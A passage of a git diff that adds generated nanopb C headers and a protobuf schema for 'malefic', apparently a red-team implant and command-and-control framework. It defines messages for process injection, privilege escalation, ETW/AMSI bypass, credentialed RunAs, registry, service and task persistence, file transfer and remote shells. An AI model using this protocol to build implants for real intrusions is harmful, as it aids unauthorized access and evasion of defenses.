\ +X(a, STATIC, OPTIONAL, MESSAGE, sacrifice, 12) \ +X(a, STATIC, SINGULAR, STRING, path, 13) \ +X(a, STATIC, SINGULAR, STRING, context, 14) \ +X(a, STATIC, SINGULAR, UINT32, delay, 15) +#define malefic_ExecuteBinary_CALLBACK pb_default_field_callback +#define malefic_ExecuteBinary_DEFAULT NULL +#define malefic_ExecuteBinary_param_MSGTYPE malefic_ExecuteBinary_ParamEntry +#define malefic_ExecuteBinary_sacrifice_MSGTYPE malefic_SacrificeProcess + +#define malefic_ExecuteBinary_ParamEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_ExecuteBinary_ParamEntry_CALLBACK pb_default_field_callback +#define malefic_ExecuteBinary_ParamEntry_DEFAULT NULL + +#define malefic_ExecuteCommand_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, command, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, sacrifice, 2) +#define malefic_ExecuteCommand_CALLBACK NULL +#define malefic_ExecuteCommand_DEFAULT NULL +#define malefic_ExecuteCommand_sacrifice_MSGTYPE malefic_SacrificeProcess + +#define malefic_UploadRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, target, 2) \ +X(a, STATIC, SINGULAR, UINT32, priv, 3) \ +X(a, STATIC, SINGULAR, BYTES, data, 4) \ +X(a, STATIC, SINGULAR, BOOL, hidden, 5) \ +X(a, STATIC, SINGULAR, BOOL, override, 6) +#define malefic_UploadRequest_CALLBACK NULL +#define malefic_UploadRequest_DEFAULT NULL + +#define malefic_DownloadRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, name, 2) \ +X(a, STATIC, SINGULAR, UINT32, buffer_size, 3) \ +X(a, STATIC, SINGULAR, BOOL, dir, 4) \ +X(a, STATIC, SINGULAR, INT32, cur, 5) +#define malefic_DownloadRequest_CALLBACK NULL +#define malefic_DownloadRequest_DEFAULT NULL + +#define malefic_DownloadResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, checksum, 1) \ +X(a, STATIC, SINGULAR, UINT64, size, 2) \ +X(a, STATIC, SINGULAR, INT32, cur, 3) \ +X(a, STATIC, SINGULAR, BYTES, content, 4) +#define malefic_DownloadResponse_CALLBACK NULL +#define malefic_DownloadResponse_DEFAULT NULL + +#define malefic_CurlRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, url, 1) \ +X(a, STATIC, SINGULAR, INT32, timeout, 2) \ +X(a, STATIC, SINGULAR, STRING, method, 3) \ +X(a, STATIC, SINGULAR, BYTES, body, 4) \ +X(a, CALLBACK, REPEATED, MESSAGE, header, 5) \ +X(a, STATIC, SINGULAR, STRING, hostname, 6) +#define malefic_CurlRequest_CALLBACK pb_default_field_callback +#define malefic_CurlRequest_DEFAULT NULL +#define malefic_CurlRequest_header_MSGTYPE malefic_CurlRequest_HeaderEntry + +#define malefic_CurlRequest_HeaderEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_CurlRequest_HeaderEntry_CALLBACK pb_default_field_callback +#define malefic_CurlRequest_HeaderEntry_DEFAULT NULL + +#define malefic_ChownRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, path, 1) \ +X(a, STATIC, SINGULAR, STRING, uid, 2) \ +X(a, STATIC, SINGULAR, STRING, gid, 3) \ +X(a, STATIC, SINGULAR, BOOL, recursive, 4) +#define malefic_ChownRequest_CALLBACK NULL +#define malefic_ChownRequest_DEFAULT NULL + +#define malefic_IfconfigResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, net_interfaces, 1) +#define malefic_IfconfigResponse_CALLBACK NULL +#define malefic_IfconfigResponse_DEFAULT NULL +#define malefic_IfconfigResponse_net_interfaces_MSGTYPE malefic_NetInterface + +#define malefic_RegistryRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, registry, 2) +#define malefic_RegistryRequest_CALLBACK NULL +#define malefic_RegistryRequest_DEFAULT NULL +#define malefic_RegistryRequest_registry_MSGTYPE malefic_Registry + +#define malefic_Registry_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, hive, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, key, 3) +#define malefic_Registry_CALLBACK NULL +#define malefic_Registry_DEFAULT NULL + +#define malefic_RegistryWriteRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, hive, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, key, 3) \ +X(a, STATIC, SINGULAR, STRING, string_value, 5) \ +X(a, STATIC, SINGULAR, BYTES, byte_value, 6) \ +X(a, STATIC, SINGULAR, UINT32, dword_value, 7) \ +X(a, STATIC, SINGULAR, UINT64, qword_value, 8) \ +X(a, STATIC, SINGULAR, UINT32, regtype, 10) +#define malefic_RegistryWriteRequest_CALLBACK NULL +#define malefic_RegistryWriteRequest_DEFAULT NULL + +#define malefic_TaskScheduleRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, taskschd, 2) +#define malefic_TaskScheduleRequest_CALLBACK NULL +#define malefic_TaskScheduleRequest_DEFAULT NULL +#define malefic_TaskScheduleRequest_taskschd_MSGTYPE malefic_TaskSchedule + +#define malefic_TaskSchedule_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, path, 2) \ +X(a, STATIC, SINGULAR, STRING, executable_path, 3) \ +X(a, STATIC, SINGULAR, UINT32, trigger_type, 4) \ +X(a, STATIC, SINGULAR, STRING, start_boundary, 5) \ +X(a, STATIC, SINGULAR, STRING, description, 6) \ +X(a, STATIC, SINGULAR, BOOL, enabled, 7) \ +X(a, STATIC, SINGULAR, STRING, last_run_time, 8) \ +X(a, STATIC, SINGULAR, STRING, next_run_time, 9) +#define malefic_TaskSchedule_CALLBACK NULL +#define malefic_TaskSchedule_DEFAULT NULL + +#define malefic_TaskSchedulesResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, schedules, 1) +#define malefic_TaskSchedulesResponse_CALLBACK NULL +#define malefic_TaskSchedulesResponse_DEFAULT NULL +#define malefic_TaskSchedulesResponse_schedules_MSGTYPE malefic_TaskSchedule + +#define malefic_ServiceRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, service, 2) +#define malefic_ServiceRequest_CALLBACK NULL +#define malefic_ServiceRequest_DEFAULT NULL +#define malefic_ServiceRequest_service_MSGTYPE malefic_ServiceConfig + +#define malefic_ServiceConfig_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, display_name, 2) \ +X(a, STATIC, SINGULAR, STRING, executable_path, 3) \ +X(a, STATIC, SINGULAR, UINT32, start_type, 4) \ +X(a, STATIC, SINGULAR, UINT32, error_control, 5) \ +X(a, STATIC, SINGULAR, STRING, account_name, 6) +#define malefic_ServiceConfig_CALLBACK NULL +#define malefic_ServiceConfig_DEFAULT NULL + +#define malefic_ServiceStatus_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, current_state, 1) \ +X(a, STATIC, SINGULAR, UINT32, process_id, 2) \ +X(a, STATIC, SINGULAR, UINT32, exit_code, 3) \ +X(a, STATIC, SINGULAR, UINT32, checkpoint, 4) \ +X(a, STATIC, SINGULAR, UINT32, wait_hint, 5) +#define malefic_ServiceStatus_CALLBACK NULL +#define malefic_ServiceStatus_DEFAULT NULL + +#define malefic_Service_FIELDLIST(X, a) \ +X(a, STATIC, OPTIONAL, MESSAGE, config, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, status, 2) +#define malefic_Service_CALLBACK NULL +#define malefic_Service_DEFAULT NULL +#define malefic_Service_config_MSGTYPE malefic_ServiceConfig +#define malefic_Service_status_MSGTYPE malefic_ServiceStatus + +#define malefic_ServicesResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, services, 1) +#define malefic_ServicesResponse_CALLBACK NULL +#define malefic_ServicesResponse_DEFAULT NULL +#define malefic_ServicesResponse_services_MSGTYPE malefic_Service + +#define malefic_WmiQueryRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, namespace, 1) \ +X(a, STATIC, REPEATED, STRING, args, 2) +#define malefic_WmiQueryRequest_CALLBACK NULL +#define malefic_WmiQueryRequest_DEFAULT NULL + +#define malefic_WmiMethodRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, namespace, 1) \ +X(a, STATIC, SINGULAR, STRING, class_name, 2) \ +X(a, STATIC, SINGULAR, STRING, method_name, 3) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 4) +#define malefic_WmiMethodRequest_CALLBACK pb_default_field_callback +#define malefic_WmiMethodRequest_DEFAULT NULL +#define malefic_WmiMethodRequest_params_MSGTYPE malefic_WmiMethodRequest_ParamsEntry + +#define malefic_WmiMethodRequest_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_WmiMethodRequest_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_WmiMethodRequest_ParamsEntry_DEFAULT NULL + +#define malefic_RunAsRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, username, 1) \ +X(a, STATIC, SINGULAR, STRING, domain, 2) \ +X(a, STATIC, SINGULAR, STRING, password, 3) \ +X(a, STATIC, SINGULAR, STRING, program, 4) \ +X(a, STATIC, SINGULAR, STRING, args, 5) \ +X(a, STATIC, SINGULAR, BOOL, use_profile, 6) \ +X(a, STATIC, SINGULAR, BOOL, netonly, 7) \ +X(a, STATIC, SINGULAR, BOOL, use_env, 8) +#define malefic_RunAsRequest_CALLBACK NULL +#define malefic_RunAsRequest_DEFAULT NULL + +#define malefic_GetSystem_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, bin, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) +#define malefic_GetSystem_CALLBACK NULL +#define malefic_GetSystem_DEFAULT NULL + +#define malefic_Inject_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, BYTES, bin, 1) \ +X(a, STATIC, SINGULAR, UINT32, pid, 2) +#define malefic_Inject_CALLBACK NULL +#define malefic_Inject_DEFAULT NULL + +#define malefic_Pipe_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, SINGULAR, STRING, target, 2) \ +X(a, STATIC, SINGULAR, BYTES, data, 4) +#define malefic_Pipe_CALLBACK NULL +#define malefic_Pipe_DEFAULT NULL + +#define malefic_PipeRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, OPTIONAL, MESSAGE, pipe, 2) +#define malefic_PipeRequest_CALLBACK NULL +#define malefic_PipeRequest_DEFAULT NULL +#define malefic_PipeRequest_pipe_MSGTYPE malefic_Pipe + +#define malefic_Switch_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, STRING, urls, 1) +#define malefic_Switch_CALLBACK NULL +#define malefic_Switch_DEFAULT NULL + +#define malefic_TaskCtrl_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, task_id, 1) \ +X(a, STATIC, SINGULAR, STRING, op, 2) +#define malefic_TaskCtrl_CALLBACK NULL +#define malefic_TaskCtrl_DEFAULT NULL + +#define malefic_TaskInfo_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, UINT32, task_id, 1) \ +X(a, STATIC, SINGULAR, UINT64, last, 2) \ +X(a, STATIC, SINGULAR, UINT32, recv_count, 3) \ +X(a, STATIC, SINGULAR, UINT32, send_count, 4) +#define malefic_TaskInfo_CALLBACK NULL +#define malefic_TaskInfo_DEFAULT NULL + +#define malefic_TaskListResponse_FIELDLIST(X, a) \ +X(a, STATIC, REPEATED, MESSAGE, tasks, 1) +#define malefic_TaskListResponse_CALLBACK NULL +#define malefic_TaskListResponse_DEFAULT NULL +#define malefic_TaskListResponse_tasks_MSGTYPE malefic_TaskInfo + +#define malefic_FFmpegRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, action, 1) \ +X(a, STATIC, SINGULAR, STRING, device_name, 2) \ +X(a, STATIC, SINGULAR, STRING, output_format, 3) \ +X(a, STATIC, SINGULAR, STRING, output_path, 4) \ +X(a, STATIC, SINGULAR, STRING, time, 5) +#define malefic_FFmpegRequest_CALLBACK NULL +#define malefic_FFmpegRequest_DEFAULT NULL + +#define malefic_PtyRequest_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, type, 1) \ +X(a, STATIC, SINGULAR, STRING, session_id, 2) \ +X(a, STATIC, SINGULAR, STRING, shell, 3) \ +X(a, STATIC, SINGULAR, UINT32, cols, 4) \ +X(a, STATIC, SINGULAR, UINT32, rows, 5) \ +X(a, STATIC, SINGULAR, BYTES, input_data, 6) \ +X(a, STATIC, SINGULAR, STRING, input_text, 7) \ +X(a, CALLBACK, REPEATED, MESSAGE, params, 8) +#define malefic_PtyRequest_CALLBACK pb_default_field_callback +#define malefic_PtyRequest_DEFAULT NULL +#define malefic_PtyRequest_params_MSGTYPE malefic_PtyRequest_ParamsEntry + +#define malefic_PtyRequest_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_PtyRequest_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_PtyRequest_ParamsEntry_DEFAULT NULL + +#define malefic_PtyResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, session_id, 1) \ +X(a, STATIC, SINGULAR, BYTES, output_data, 2) \ +X(a, STATIC, SINGULAR, STRING, output_text, 3) \ +X(a, STATIC, SINGULAR, STRING, error, 4) \ +X(a, STATIC, SINGULAR, BOOL, session_active, 5) \ +X(a, STATIC, REPEATED, STRING, active_sessions, 6) \ +X(a, CALLBACK, REPEATED, MESSAGE, metadata, 7) +#define malefic_PtyResponse_CALLBACK pb_default_field_callback +#define malefic_PtyResponse_DEFAULT NULL +#define malefic_PtyResponse_metadata_MSGTYPE malefic_PtyResponse_MetadataEntry + +#define malefic_PtyResponse_MetadataEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_PtyResponse_MetadataEntry_CALLBACK pb_default_field_callback +#define malefic_PtyResponse_MetadataEntry_DEFAULT NULL + +#define malefic_CommonBody_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, REPEATED, UINT32, u32_array, 2) \ +X(a, STATIC, REPEATED, UINT64, u64_array, 4) \ +X(a, STATIC, REPEATED, BOOL, bool_array, 6) \ +X(a, STATIC, REPEATED, STRING, string_array, 8) \ +X(a, STATIC, REPEATED, BYTES, bytes_array, 10) +#define malefic_CommonBody_CALLBACK NULL +#define malefic_CommonBody_DEFAULT NULL + +extern const pb_msgdesc_t malefic_Ping_msg; +extern const pb_msgdesc_t malefic_Register_msg; +extern const pb_msgdesc_t malefic_Secure_msg; +extern const pb_msgdesc_t malefic_KeyExchangeRequest_msg; +extern const pb_msgdesc_t malefic_KeyExchangeResponse_msg; +extern const pb_msgdesc_t malefic_Init_msg; +extern const pb_msgdesc_t malefic_SysInfo_msg; +extern const pb_msgdesc_t malefic_Suicide_msg; +extern const pb_msgdesc_t malefic_Request_msg; +extern const pb_msgdesc_t malefic_Request_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_Response_msg; +extern const pb_msgdesc_t malefic_Response_KvEntry_msg; +extern const pb_msgdesc_t malefic_BypassRequest_msg; +extern const pb_msgdesc_t malefic_NetInterface_msg; +extern const pb_msgdesc_t malefic_SockTabEntry_msg; +extern const pb_msgdesc_t malefic_NetstatResponse_msg; +extern const pb_msgdesc_t malefic_Block_msg; +extern const pb_msgdesc_t malefic_ACK_msg; +extern const pb_msgdesc_t malefic_Os_msg; +extern const pb_msgdesc_t malefic_Process_msg; +extern const pb_msgdesc_t malefic_Timer_msg; +extern const pb_msgdesc_t malefic_FileInfo_msg; +extern const pb_msgdesc_t malefic_SacrificeProcess_msg; +extern const pb_msgdesc_t malefic_LsResponse_msg; +extern const pb_msgdesc_t malefic_DriveInfo_msg; +extern const pb_msgdesc_t malefic_EnumDriversResponse_msg; +extern const pb_msgdesc_t malefic_PsResponse_msg; +extern const pb_msgdesc_t malefic_ExecRequest_msg; +extern const pb_msgdesc_t malefic_ExecResponse_msg; +extern const pb_msgdesc_t malefic_BinaryResponse_msg; +extern const pb_msgdesc_t malefic_Modules_msg; +extern const pb_msgdesc_t malefic_Addons_msg; +extern const pb_msgdesc_t malefic_Addon_msg; +extern const pb_msgdesc_t malefic_LoadModule_msg; +extern const pb_msgdesc_t malefic_LoadAddon_msg; +extern const pb_msgdesc_t malefic_ExecuteAddon_msg; +extern const pb_msgdesc_t malefic_ExecuteBinary_msg; +extern const pb_msgdesc_t malefic_ExecuteBinary_ParamEntry_msg; +extern const pb_msgdesc_t malefic_ExecuteCommand_msg; +extern const pb_msgdesc_t malefic_UploadRequest_msg; +extern const pb_msgdesc_t malefic_DownloadRequest_msg; +extern const pb_msgdesc_t malefic_DownloadResponse_msg; +extern const pb_msgdesc_t malefic_CurlRequest_msg; +extern const pb_msgdesc_t malefic_CurlRequest_HeaderEntry_msg; +extern const pb_msgdesc_t malefic_ChownRequest_msg; +extern const pb_msgdesc_t malefic_IfconfigResponse_msg; +extern const pb_msgdesc_t malefic_RegistryRequest_msg; +extern const pb_msgdesc_t malefic_Registry_msg; +extern const pb_msgdesc_t malefic_RegistryWriteRequest_msg; +extern const pb_msgdesc_t malefic_TaskScheduleRequest_msg; +extern const pb_msgdesc_t malefic_TaskSchedule_msg; +extern const pb_msgdesc_t malefic_TaskSchedulesResponse_msg; +extern const pb_msgdesc_t malefic_ServiceRequest_msg; +extern const pb_msgdesc_t malefic_ServiceConfig_msg; +extern const pb_msgdesc_t malefic_ServiceStatus_msg; +extern const pb_msgdesc_t malefic_Service_msg; +extern const pb_msgdesc_t malefic_ServicesResponse_msg; +extern const pb_msgdesc_t malefic_WmiQueryRequest_msg; +extern const pb_msgdesc_t malefic_WmiMethodRequest_msg; +extern const pb_msgdesc_t malefic_WmiMethodRequest_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_RunAsRequest_msg; +extern const pb_msgdesc_t malefic_GetSystem_msg; +extern const pb_msgdesc_t malefic_Inject_msg; +extern const pb_msgdesc_t malefic_Pipe_msg; +extern const pb_msgdesc_t malefic_PipeRequest_msg; +extern const pb_msgdesc_t malefic_Switch_msg; +extern const pb_msgdesc_t malefic_TaskCtrl_msg; +extern const pb_msgdesc_t malefic_TaskInfo_msg; +extern const pb_msgdesc_t malefic_TaskListResponse_msg; +extern const pb_msgdesc_t malefic_FFmpegRequest_msg; +extern const pb_msgdesc_t malefic_PtyRequest_msg; +extern const pb_msgdesc_t malefic_PtyRequest_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_PtyResponse_msg; +extern const pb_msgdesc_t malefic_PtyResponse_MetadataEntry_msg; +extern const pb_msgdesc_t malefic_CommonBody_msg; + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define malefic_Ping_fields &malefic_Ping_msg +#define malefic_Register_fields &malefic_Register_msg +#define malefic_Secure_fields &malefic_Secure_msg +#define malefic_KeyExchangeRequest_fields &malefic_KeyExchangeRequest_msg +#define malefic_KeyExchangeResponse_fields &malefic_KeyExchangeResponse_msg +#define malefic_Init_fields &malefic_Init_msg +#define malefic_SysInfo_fields &malefic_SysInfo_msg +#define malefic_Suicide_fields &malefic_Suicide_msg +#define malefic_Request_fields &malefic_Request_msg +#define malefic_Request_ParamsEntry_fields &malefic_Request_ParamsEntry_msg +#define malefic_Response_fields &malefic_Response_msg +#define malefic_Response_KvEntry_fields &malefic_Response_KvEntry_msg +#define malefic_BypassRequest_fields &malefic_BypassRequest_msg +#define malefic_NetInterface_fields &malefic_NetInterface_msg +#define malefic_SockTabEntry_fields &malefic_SockTabEntry_msg +#define malefic_NetstatResponse_fields &malefic_NetstatResponse_msg +#define malefic_Block_fields &malefic_Block_msg +#define malefic_ACK_fields &malefic_ACK_msg +#define malefic_Os_fields &malefic_Os_msg +#define malefic_Process_fields &malefic_Process_msg +#define malefic_Timer_fields &malefic_Timer_msg +#define malefic_FileInfo_fields &malefic_FileInfo_msg +#define malefic_SacrificeProcess_fields &malefic_SacrificeProcess_msg +#define malefic_LsResponse_fields &malefic_LsResponse_msg +#define malefic_DriveInfo_fields &malefic_DriveInfo_msg +#define malefic_EnumDriversResponse_fields &malefic_EnumDriversResponse_msg +#define malefic_PsResponse_fields &malefic_PsResponse_msg +#define malefic_ExecRequest_fields &malefic_ExecRequest_msg +#define malefic_ExecResponse_fields &malefic_ExecResponse_msg +#define malefic_BinaryResponse_fields &malefic_BinaryResponse_msg +#define malefic_Modules_fields &malefic_Modules_msg +#define malefic_Addons_fields &malefic_Addons_msg +#define malefic_Addon_fields &malefic_Addon_msg +#define malefic_LoadModule_fields &malefic_LoadModule_msg +#define malefic_LoadAddon_fields &malefic_LoadAddon_msg +#define malefic_ExecuteAddon_fields &malefic_ExecuteAddon_msg +#define malefic_ExecuteBinary_fields &malefic_ExecuteBinary_msg +#define malefic_ExecuteBinary_ParamEntry_fields &malefic_ExecuteBinary_ParamEntry_msg +#define malefic_ExecuteCommand_fields &malefic_ExecuteCommand_msg +#define malefic_UploadRequest_fields &malefic_UploadRequest_msg +#define malefic_DownloadRequest_fields &malefic_DownloadRequest_msg +#define malefic_DownloadResponse_fields &malefic_DownloadResponse_msg +#define malefic_CurlRequest_fields &malefic_CurlRequest_msg +#define malefic_CurlRequest_HeaderEntry_fields &malefic_CurlRequest_HeaderEntry_msg +#define malefic_ChownRequest_fields &malefic_ChownRequest_msg +#define malefic_IfconfigResponse_fields &malefic_IfconfigResponse_msg +#define malefic_RegistryRequest_fields &malefic_RegistryRequest_msg +#define malefic_Registry_fields &malefic_Registry_msg +#define malefic_RegistryWriteRequest_fields &malefic_RegistryWriteRequest_msg +#define malefic_TaskScheduleRequest_fields &malefic_TaskScheduleRequest_msg +#define malefic_TaskSchedule_fields &malefic_TaskSchedule_msg +#define malefic_TaskSchedulesResponse_fields &malefic_TaskSchedulesResponse_msg +#define malefic_ServiceRequest_fields &malefic_ServiceRequest_msg +#define malefic_ServiceConfig_fields &malefic_ServiceConfig_msg +#define malefic_ServiceStatus_fields &malefic_ServiceStatus_msg +#define malefic_Service_fields &malefic_Service_msg +#define malefic_ServicesResponse_fields &malefic_ServicesResponse_msg +#define malefic_WmiQueryRequest_fields &malefic_WmiQueryRequest_msg +#define malefic_WmiMethodRequest_fields &malefic_WmiMethodRequest_msg +#define malefic_WmiMethodRequest_ParamsEntry_fields &malefic_WmiMethodRequest_ParamsEntry_msg +#define malefic_RunAsRequest_fields &malefic_RunAsRequest_msg +#define malefic_GetSystem_fields &malefic_GetSystem_msg +#define malefic_Inject_fields &malefic_Inject_msg +#define malefic_Pipe_fields &malefic_Pipe_msg +#define malefic_PipeRequest_fields &malefic_PipeRequest_msg +#define malefic_Switch_fields &malefic_Switch_msg +#define malefic_TaskCtrl_fields &malefic_TaskCtrl_msg +#define malefic_TaskInfo_fields &malefic_TaskInfo_msg +#define malefic_TaskListResponse_fields &malefic_TaskListResponse_msg +#define malefic_FFmpegRequest_fields &malefic_FFmpegRequest_msg +#define malefic_PtyRequest_fields &malefic_PtyRequest_msg +#define malefic_PtyRequest_ParamsEntry_fields &malefic_PtyRequest_ParamsEntry_msg +#define malefic_PtyResponse_fields &malefic_PtyResponse_msg +#define malefic_PtyResponse_MetadataEntry_fields &malefic_PtyResponse_MetadataEntry_msg +#define malefic_CommonBody_fields &malefic_CommonBody_msg + +/* Maximum encoded size of messages (where known) */ +/* malefic_Request_size depends on runtime parameters */ +/* malefic_Request_ParamsEntry_size depends on runtime parameters */ +/* malefic_Response_size depends on runtime parameters */ +/* malefic_Response_KvEntry_size depends on runtime parameters */ +/* malefic_ExecuteAddon_size depends on runtime parameters */ +/* malefic_ExecuteBinary_size depends on runtime parameters */ +/* malefic_ExecuteBinary_ParamEntry_size depends on runtime parameters */ +/* malefic_CurlRequest_size depends on runtime parameters */ +/* malefic_CurlRequest_HeaderEntry_size depends on runtime parameters */ +/* malefic_WmiMethodRequest_size depends on runtime parameters */ +/* malefic_WmiMethodRequest_ParamsEntry_size depends on runtime parameters */ +/* malefic_PtyRequest_size depends on runtime parameters */ +/* malefic_PtyRequest_ParamsEntry_size depends on runtime parameters */ +/* malefic_PtyResponse_size depends on runtime parameters */ +/* malefic_PtyResponse_MetadataEntry_size depends on runtime parameters */ +#define MALEFIC_MODULE_PB_H_MAX_SIZE malefic_PsResponse_size +#define malefic_ACK_size 10 +#define malefic_Addon_size 325 +#define malefic_Addons_size 10496 +#define malefic_BinaryResponse_size 8467 +#define malefic_Block_size 4107 +#define malefic_BypassRequest_size 6 +#define malefic_ChownRequest_size 390 +#define malefic_CommonBody_size 74706 +#define malefic_DownloadRequest_size 535 +#define malefic_DownloadResponse_size 4251 +#define malefic_DriveInfo_size 185 +#define malefic_EnumDriversResponse_size 3008 +#define malefic_ExecRequest_size 8526 +#define malefic_ExecResponse_size 8217 +#define malefic_ExecuteCommand_size 531 +#define malefic_FFmpegRequest_size 519 +#define malefic_FileInfo_size 546 +#define malefic_GetSystem_size 4105 +#define malefic_IfconfigResponse_size 38944 +#define malefic_Init_size 4099 +#define malefic_Inject_size 4105 +#define malefic_KeyExchangeRequest_size 593 +#define malefic_KeyExchangeResponse_size 258 +#define malefic_LoadAddon_size 4424 +#define malefic_LoadModule_size 4357 +#define malefic_LsResponse_size 70532 +#define malefic_Modules_size 16512 +#define malefic_NetInterface_size 1214 +#define malefic_NetstatResponse_size 51200 +#define malefic_Os_size 1268 +#define malefic_Ping_size 11 +#define malefic_PipeRequest_size 4427 +#define malefic_Pipe_size 4359 +#define malefic_Process_size 886 +#define malefic_PsResponse_size 455168 +#define malefic_Register_size 30933 +#define malefic_RegistryRequest_size 649 +#define malefic_RegistryWriteRequest_size 4961 +#define malefic_Registry_size 581 +#define malefic_RunAsRequest_size 1040 +#define malefic_SacrificeProcess_size 270 +#define malefic_Secure_size 583 +#define malefic_ServiceConfig_size 916 +#define malefic_ServiceRequest_size 984 +#define malefic_ServiceStatus_size 30 +#define malefic_Service_size 951 +#define malefic_ServicesResponse_size 122112 +#define malefic_SockTabEntry_size 197 +#define malefic_Suicide_size 22 +#define malefic_Switch_size 4128 +#define malefic_SysInfo_size 2678 +#define malefic_TaskCtrl_size 71 +#define malefic_TaskInfo_size 29 +#define malefic_TaskListResponse_size 3968 +#define malefic_TaskScheduleRequest_size 1303 +#define malefic_TaskSchedule_size 1235 +#define malefic_TaskSchedulesResponse_size 79232 +#define malefic_Timer_size 139 +#define malefic_UploadRequest_size 4625 +#define malefic_WmiQueryRequest_size 4386 + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.proto b/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.proto new file mode 100644 index 0000000..6e73d4f --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/malefic/module.proto @@ -0,0 +1,483 @@ +syntax = "proto3"; +package malefic; + +option go_package = "./malefic"; + + +message Ping{ + int32 nonce = 1; +} + +message Register { + string name = 1; + string proxy = 2; + repeated string module = 3; + repeated Addon addons = 4; + Timer timer = 5; + SysInfo sysinfo = 11; + Secure secure = 12; // Implant's public key, used by server to encrypt data +} + +message Secure{ + bool enable = 1; + string key = 2; // encryption key + string type = 3; // encryption type + string public_key = 4; // Implant's public key, used by server to encrypt data +} + + +// Age key exchange related messages +message KeyExchangeRequest { + string public_key = 1; // Temporary public key (Age X25519) + bytes signature = 2; // Signature of temporary public key + uint64 timestamp = 3; // Timestamp + string nonce = 4; // Nonce +} + +message KeyExchangeResponse { + string public_key = 1; // Server temporary public key +} + +message Init{ + bytes data = 1; +} + +message SysInfo { + string filepath = 1; + string workdir = 2; + bool is_privilege = 3; + Os os = 11; + Process process = 12; +} + +message Suicide { + int32 type = 1; + int64 timestamp = 2; +} + + +// common empty request +message Request { + string name = 1; + string input = 2; + repeated string args = 3; + map params = 4; + bytes bin = 5; +} + +message Response { + string output = 1; + string error = 2; + map kv = 3; + repeated string array =4; +} + + +message BypassRequest{ + bool ETW = 1; + bool AMSI = 2; + bool block_dll = 3; +} + +message NetInterface { + int32 index = 1; + string name = 2; + string mac = 3; + repeated string ip_addresses = 4; +} + +message SockTabEntry { + string local_addr = 1; + string remote_addr = 2; + string skState = 3; + // uint32 uid = 4; + string pid = 5; + string protocol = 6; +} + +message NetstatResponse { + repeated SockTabEntry socks = 1; +} + + +message Block{ + uint32 block_id = 1; + bytes content = 2; + bool end = 3; +} + +message ACK 